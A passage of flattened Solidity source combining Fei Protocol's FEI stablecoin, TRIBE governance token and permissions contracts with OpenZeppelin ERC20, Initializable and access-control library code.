event Burning(address indexed _to, address indexed _burner, uint256 _amount);
event IncentiveContractUpdate(address indexed _incentivized, address indexed _incentiveContract);
// ----------- State changing api -----------
function burn(uint256 amount) external;
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
// ----------- Burner only state changing api -----------
function burnFrom(address account, uint256 amount) external;
// ----------- Minter only state changing api -----------
function mint(address account, uint256 amount) external;
// ----------- Governor only state changing api -----------
function setIncentiveContract(address account, address incentive) external;
// ----------- Getters -----------
function incentiveContract(address account) external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
/// @title Permissions Read interface
/// @author Fei Protocol
interface IPermissionsRead {
// ----------- Getters -----------
function isBurner(address _address) external view returns (bool);
function isMinter(address _address) external view returns (bool);
function isGovernor(address _address) external view returns (bool);
function isGuardian(address _address) external view returns (bool);
function isPCVController(address _address) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (proxy/utils/Initializable.sol)
pragma solidity ^0.8.2;
import "../../utils/Address.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* The initialization functions use a version number. Once a version number is used, it is consumed and cannot be
* reused. This mechanism prevents re-execution of each "step" but allows the creation of new initialization steps in
* case an upgrade adds a module that needs to be initialized.
*
* For example:
*
* [.hljs-theme-light.nopadding]
* ```
* contract MyToken is ERC20Upgradeable {
* function initialize() initializer public {
* __ERC20_init("MyToken", "MTK");
* }
* }
* contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {
* function initializeV2() reinitializer(2) public {
* __ERC20Permit_init("MyToken");
* }
* }
* ```
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke
* the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() {
* _disableInitializers();
* }
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
* @custom:oz-retyped-from bool
*/
uint8 private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Triggered when the contract has been initialized or reinitialized.
*/
event Initialized(uint8 version);
/**
* @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,
* `onlyInitializing` functions can be used to initialize parent contracts. Equivalent to `reinitializer(1)`.
*/
modifier initializer() {
bool isTopLevelCall = _setInitializedVersion(1);
if (isTopLevelCall) {
_initializing = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
emit Initialized(1);
}
}
/**
* @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the
* contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be
* used to initialize parent contracts.
*
* `initializer` is equivalent to `reinitializer(1)`, so a reinitializer may be used after the original
* initialization step. This is essential to configure modules that are added through upgrades and that require
* initialization.
*
* Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in
* a contract, executing them in the right order is up to the developer or operator.
*/
modifier reinitializer(uint8 version) {
bool isTopLevelCall = _setInitializedVersion(version);
if (isTopLevelCall) {
_initializing = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
emit Initialized(version);
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} and {reinitializer} modifiers, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
/**
* @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.
* Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized
* to any version. It is recommended to use this to lock implementation contracts that are designed to be called
* through proxies.
*/
function _disableInitializers() internal virtual {
_setInitializedVersion(type(uint8).max);
}
function _setInitializedVersion(uint8 version) private returns (bool) {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, and for the lowest level
// of initializers, because in other contexts the contract may have been reentered.
if (_initializing) {
require(
version == 1 && !Address.isContract(address(this)),
"Initializable: contract is already initialized"
);
return false;
} else {
require(_initialized < version, "Initializable: contract is already initialized");
_initialized = version;
return true;
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "./IPermissions.sol";
/// @title Access control module for Core
/// @author Fei Protocol
contract Permissions is IPermissions, AccessControlEnumerable {
bytes32 public constant override BURNER_ROLE = keccak256("BURNER_ROLE");
bytes32 public constant override MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant override PCV_CONTROLLER_ROLE = keccak256("PCV_CONTROLLER_ROLE");
bytes32 public constant override GOVERN_ROLE = keccak256("GOVERN_ROLE");
bytes32 public constant override GUARDIAN_ROLE = keccak256("GUARDIAN_ROLE");
constructor() {
// Appointed as a governor so guardian can have indirect access to revoke ability
_setupGovernor(address(this));
_setRoleAdmin(MINTER_ROLE, GOVERN_ROLE);
_setRoleAdmin(BURNER_ROLE, GOVERN_ROLE);
_setRoleAdmin(PCV_CONTROLLER_ROLE, GOVERN_ROLE);
_setRoleAdmin(GOVERN_ROLE, GOVERN_ROLE);
_setRoleAdmin(GUARDIAN_ROLE, GOVERN_ROLE);
}
modifier onlyGovernor() {
require(isGovernor(msg.sender), "Permissions: Caller is not a governor");
_;
}
modifier onlyGuardian() {
require(isGuardian(msg.sender), "Permissions: Caller is not a guardian");
_;
}
/// @notice creates a new role to be maintained
/// @param role the new role id
/// @param adminRole the admin role id for `role`
/// @dev can also be used to update admin of existing role
function createRole(bytes32 role, bytes32 adminRole) external override onlyGovernor {
_setRoleAdmin(role, adminRole);
}
/// @notice grants minter role to address
/// @param minter new minter
function grantMinter(address minter) external override onlyGovernor {
grantRole(MINTER_ROLE, minter);
}
/// @notice grants burner role to address
/// @param burner new burner
function grantBurner(address burner) external override onlyGovernor {
grantRole(BURNER_ROLE, burner);
}
/// @notice grants controller role to address
/// @param pcvController new controller
function grantPCVController(address pcvController) external override onlyGovernor {
grantRole(PCV_CONTROLLER_ROLE, pcvController);
}
/// @notice grants governor role to address
/// @param governor new governor
function grantGovernor(address governor) external override onlyGovernor {
grantRole(GOVERN_ROLE, governor);
}
/// @notice grants guardian role to address
/// @param guardian new guardian
function grantGuardian(address guardian) external override onlyGovernor {
grantRole(GUARDIAN_ROLE, guardian);
}
/// @notice revokes minter role from address
/// @param minter ex minter
function revokeMinter(address minter) external override onlyGovernor {
revokeRole(MINTER_ROLE, minter);
}
/// @notice revokes burner role from address
/// @param burner ex burner
function revokeBurner(address burner) external override onlyGovernor {
revokeRole(BURNER_ROLE, burner);
}
/// @notice revokes pcvController role from address
/// @param pcvController ex pcvController
function revokePCVController(address pcvController) external override onlyGovernor {
revokeRole(PCV_CONTROLLER_ROLE, pcvController);
}
/// @notice revokes governor role from address
/// @param governor ex governor
function revokeGovernor(address governor) external override onlyGovernor {
revokeRole(GOVERN_ROLE, governor);
}
/// @notice revokes guardian role from address
/// @param guardian ex guardian
function revokeGuardian(address guardian) external override onlyGovernor {
revokeRole(GUARDIAN_ROLE, guardian);
}
/// @notice revokes a role from address
/// @param role the role to revoke
/// @param account the address to revoke the role from
function revokeOverride(bytes32 role, address account) external override onlyGuardian {
require(role != GOVERN_ROLE, "Permissions: Guardian cannot revoke governor");
// External call because this contract is appointed as a governor and has access to revoke
this.revokeRole(role, account);
}
/// @notice checks if address is a minter
/// @param _address address to check
/// @return true _address is a minter
function isMinter(address _address) external view override returns (bool) {
return hasRole(MINTER_ROLE, _address);
}
/// @notice checks if address is a burner
/// @param _address address to check
/// @return true _address is a burner
function isBurner(address _address) external view override returns (bool) {
return hasRole(BURNER_ROLE, _address);
}
/// @notice checks if address is a controller
/// @param _address address to check
/// @return true _address is a controller
function isPCVController(address _address) external view override returns (bool) {
return hasRole(PCV_CONTROLLER_ROLE, _address);
}
/// @notice checks if address is a governor
/// @param _address address to check
/// @return true _address is a governor
// only virtual for testing mock override
function isGovernor(address _address) public view virtual override returns (bool) {
return hasRole(GOVERN_ROLE, _address);
}
/// @notice checks if address is a guardian
/// @param _address address to check
/// @return true _address is a guardian
function isGuardian(address _address) public view override returns (bool) {
return hasRole(GUARDIAN_ROLE, _address);
}
function _setupGovernor(address governor) internal {
_setupRole(GOVERN_ROLE, governor);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "./IIncentive.sol";
import "../refs/CoreRef.sol";
/// @title FEI stablecoin
/// @author Fei Protocol
contract Fei is IFei, ERC20Burnable, CoreRef {
/// @notice get associated incentive contract, 0 address if N/A
mapping(address => address) public override incentiveContract;
// solhint-disable-next-line var-name-mixedcase
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint256) public nonces;
/// @notice Fei token constructor
/// @param core Fei Core address to reference
constructor(address core) ERC20("Fei USD", "FEI") CoreRef(core) {
uint256 chainId;
// solhint-disable-next-line no-inline-assembly
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name())),
keccak256(bytes("1")),
chainId,
address(this)
)
);
}
/// @param account the account to incentivize
/// @param incentive the associated incentive contract
function setIncentiveContract(address account, address incentive) external override onlyGovernor {
incentiveContract[account] = incentive;
emit IncentiveContractUpdate(account, incentive);
}
/// @notice mint FEI tokens
/// @param account the account to mint to
/// @param amount the amount to mint
function mint(address account, uint256 amount) external override onlyMinter whenNotPaused {
_mint(account, amount);
emit Minting(account, msg.sender, amount);
}
/// @notice burn FEI tokens from caller
/// @param amount the amount to burn
function burn(uint256 amount) public override(IFei, ERC20Burnable) {
super.burn(amount);
emit Burning(msg.sender, msg.sender, amount);
}
/// @notice burn FEI tokens from specified account
/// @param account the account to burn from
/// @param amount the amount to burn
function burnFrom(address account, uint256 amount) public override(IFei, ERC20Burnable) onlyBurner whenNotPaused {
_burn(account, amount);
emit Burning(account, msg.sender, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
super._transfer(sender, recipient, amount);
_checkAndApplyIncentives(sender, recipient, amount);
}
function _checkAndApplyIncentives(
address sender,
address recipient,
uint256 amount
) internal {
// incentive on sender
address senderIncentive = incentiveContract[sender];
if (senderIncentive != address(0)) {
IIncentive(senderIncentive).incentivize(sender, recipient, msg.sender, amount);
}
// incentive on recipient
address recipientIncentive = incentiveContract[recipient];
if (recipientIncentive != address(0)) {
IIncentive(recipientIncentive).incentivize(sender, recipient, msg.sender, amount);
}
// incentive on operator
address operatorIncentive = incentiveContract[msg.sender];
if (msg.sender != sender && msg.sender != recipient && operatorIncentive != address(0)) {
IIncentive(operatorIncentive).incentivize(sender, recipient, msg.sender, amount);
}
// all incentive, if active applies to every transfer
address allIncentive = incentiveContract[address(0)];
if (allIncentive != address(0)) {
IIncentive(allIncentive).incentivize(sender, recipient, msg.sender, amount);
}
}
/// @notice permit spending of FEI
/// @param owner the FEI holder
/// @param spender the approved operator
/// @param value the amount approved
/// @param deadline the deadline after which the approval is no longer valid
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external override {
require(deadline >= block.timestamp, "Fei: EXPIRED");
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, "Fei: INVALID_SIGNATURE");
_approve(owner, spender, value);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
// Forked from Uniswap's UNI
// Reference: https://etherscan.io/address/0x1f9840a85d5af5bf1d1762f925bdaddc4201f984#code
contract Tribe {
/// @notice EIP-20 token name for this token
// solhint-disable-next-line const-name-snakecase
string public constant name = "Tribe";
/// @notice EIP-20 token symbol for this token
// solhint-disable-next-line const-name-snakecase
string public constant symbol = "TRIBE";
/// @notice EIP-20 token decimals for this token
// solhint-disable-next-line const-name-snakecase
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
// solhint-disable-next-line const-name-snakecase
uint256 public totalSupply = 1_000_000_000e18; // 1 billion Tribe
/// @notice Address which may mint new tokens
address public minter;
/// @notice Allowance amounts on behalf of others
mapping(address => mapping(address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping(address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping(address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping(address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH =
keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH =
keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice The EIP-712 typehash for the permit struct used by the contract
bytes32 public constant PERMIT_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/// @notice A record of states for signing / validating signatures
mapping(address => uint256) public nonces;
/// @notice An event thats emitted when the minter address is changed
event MinterChanged(address minter, address newMinter);
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new Tribe token
* @param account The initial account to grant all the tokens
* @param minter_ The account with minting ability
*/
constructor(address account, address minter_) {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
minter = minter_;
emit MinterChanged(address(0), minter);
}
/**
* @notice Change the minter address
* @param minter_ The address of the new minter
*/
function setMinter(address minter_) external {
require(msg.sender == minter, "Tribe: only the minter can change the minter address");
emit MinterChanged(minter, minter_);
minter = minter_;
}
/**
* @notice Mint new tokens
* @param dst The address of the destination account
* @param rawAmount The number of tokens to be minted
*/
function mint(address dst, uint256 rawAmount) external {
require(msg.sender == minter, "Tribe: only the minter can mint");
require(dst != address(0), "Tribe: cannot transfer to the zero address");
// mint the amount
uint96 amount = safe96(rawAmount, "Tribe: amount exceeds 96 bits");
uint96 safeSupply = safe96(totalSupply, "Tribe: totalSupply exceeds 96 bits");
totalSupply = add96(safeSupply, amount, "Tribe: totalSupply exceeds 96 bits");
// transfer the amount to the recipient
balances[dst] = add96(balances[dst], amount, "Tribe: transfer amount overflows");
emit Transfer(address(0), dst, amount);
// move delegates
_moveDelegates(address(0), delegates[dst], amount);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint256) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == type(uint256).max) {
amount = type(uint96).max;
} else {
amount = safe96(rawAmount, "Tribe: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Triggers an approval from owner to spends
* @param owner The address to approve from
* @param spender The address to be approved
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @param deadline The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function permit(
address owner,
address spender,
uint256 rawAmount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external {
uint96 amount;
if (rawAmount == type(uint256).max) {
amount = type(uint96).max;
} else {
amount = safe96(rawAmount, "Tribe: amount exceeds 96 bits");
}
bytes32 domainSeparator = keccak256(
abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))
);
bytes32 structHash = keccak256(
abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline)
);
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Tribe: invalid signature");
require(signatory == owner, "Tribe: unauthorized");
require(block.timestamp <= deadline, "Tribe: signature expired");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint256) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Tribe: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(
address src,
address dst,
uint256 rawAmount
) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Tribe: amount exceeds 96 bits");
if (spender != src && spenderAllowance != type(uint96).max) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Tribe: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) public {
bytes32 domainSeparator = keccak256(
abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))
);
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Tribe: invalid signature");
require(nonce == nonces[signatory]++, "Tribe: invalid nonce");
require(block.timestamp <= expiry, "Tribe: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint256 blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Tribe: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(
address src,
address dst,
uint96 amount
) internal {
require(src != address(0), "Tribe: cannot transfer from the zero address");
require(dst != address(0), "Tribe: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "Tribe: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Tribe: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(
address srcRep,
address dstRep,
uint96 amount
) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Tribe: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Tribe: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint96 oldVotes,
uint96 newVotes
) internal {
uint32 blockNumber = safe32(block.number, "Tribe: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint256 n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(
uint96 a,
uint96 b,
string memory errorMessage
) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(
uint96 a,
uint96 b,
string memory errorMessage
) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal view returns (uint256) {
uint256 chainId;
// solhint-disable-next-line no-inline-assembly
assembly {
chainId := chainid()
}
return chainId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControlEnumerable.sol)
pragma solidity ^0.8.0;
import "./IAccessControlEnumerable.sol";
import "./AccessControl.sol";
import "../utils/structs/EnumerableSet.sol";
/**
* @dev Extension of {AccessControl} that allows enumerating the members of each role.
*/
abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl {
using EnumerableSet for EnumerableSet.AddressSet;
mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view virtual override returns (address) {
return _roleMembers[role].at(index);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view virtual override returns (uint256) {
return _roleMembers[role].length();
}
/**
* @dev Overload {_grantRole} to track enumerable memberships
*/
function _grantRole(bytes32 role, address account) internal virtual override {
super._grantRole(role, account);
_roleMembers[role].add(account);
}
/**
* @dev Overload {_revokeRole} to track enumerable memberships
*/
function _revokeRole(bytes32 role, address account) internal virtual override {
super._revokeRole(role, account);
_roleMembers[role].remove(account);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControlEnumerable.sol)
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
/**
* @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
*/
interface IAccessControlEnumerable is IAccessControl {
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (utils/structs/EnumerableSet.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
